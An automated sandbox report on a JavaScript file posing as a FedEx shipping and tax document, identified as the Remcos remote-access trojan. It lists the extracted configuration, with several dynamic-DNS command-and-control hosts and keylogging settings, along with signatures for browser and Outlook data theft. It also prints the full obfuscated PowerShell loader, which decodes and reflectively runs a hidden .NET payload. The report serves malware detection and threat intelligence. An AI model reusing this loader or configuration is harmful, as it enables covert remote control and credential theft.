Analysis
- max time kernel
298s - max time network
288s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
25/05/2026, 13:58
General
- Target fedex_awb_bl_tax_bill_document_receipt_payment_05_25_2026_000000000.js
- Size 14.7MB
- Sample260525-rab8baas7j
- SHA256 3e084f09333579e2abe333a817ea9e690a02c1dcc5b76c720dc2e208a77124e4
Malware Config
Extracted
-
remcos
-
7.2.5 Pro
-
Now po
-
lastore7kajp1.duckdns.org:65070
-
lastore7kajp2.duckdns.org:65070
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lastore7kajp3.duckdns.org:65070
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lastore7kajp4.duckdns.org:65070
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lastore7kajp5.duckdns.org:65070
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gapo.rako9jabus1.com:65070
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
true
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
lamprs.dat
-
keylog_flag
false
-
keylog_path
%AppData%
-
mouse_option
false
-
mutex
kamolprf-RIQ2J8
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication 13 IoCs
Network activity triggered a Suricata alert
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication 15 IoCs
Network activity triggered a Suricata alert
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\fedex_awb_bl_tax_bill_document_receipt_payment_05_25_2026_000000000.js1⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('MgIPBR1qWkH3AAEWFQwF6QtbU242GQ0QHSQaDO8dB1wTEB+uB1NYH2tFSkZfaFse7RU=','','GUwnIB01Bx3fIhUQHBYR3SpRSC42GRoRHQw=','FBcWEDEWHALm','KBMcNB09','','KBMcNB09','','DyQ3','GUwnIB01Bx3fIhUQHBYR3SpRSC42GRoRHQw=','FBcWEDEWHALm','','aw==','','DhcIHjEeFAPm','ag==','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\regAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regAsm.exe"2⤵
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- outlook_office_path
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_cyzepjkg.zaw.ps1
memory/1520-31-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/1520-39-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-62-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-61-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-60-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-59-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-13-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-16-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-17-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-42-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-21-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-23-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-24-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-25-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-26-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-27-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-28-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/1520-58-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-57-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-32-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/1520-19-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-43-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-44-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-45-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-46-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-47-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-48-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-49-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-50-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-53-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-55-0x0000000000400000-0x000000000048D000-memory.dmp
memory/1520-56-0x0000000000400000-0x000000000048D000-memory.dmp
memory/4408-1-0x0000013ED99A0000-0x0000013ED99C2000-memory.dmp
memory/4408-0-0x0000013ED9AF0000-0x0000013ED9B00000-memory.dmp
memory/4408-12-0x0000013ED9AF0000-0x0000013ED9B00000-memory.dmp
memory/4408-11-0x0000013ED9AF0000-0x0000013ED9B00000-memory.dmp
memory/4408-10-0x0000013ED9AB0000-0x0000013ED9ABA000-memory.dmp
memory/4408-9-0x0000013ED9A00000-0x0000013ED9AB4000-memory.dmp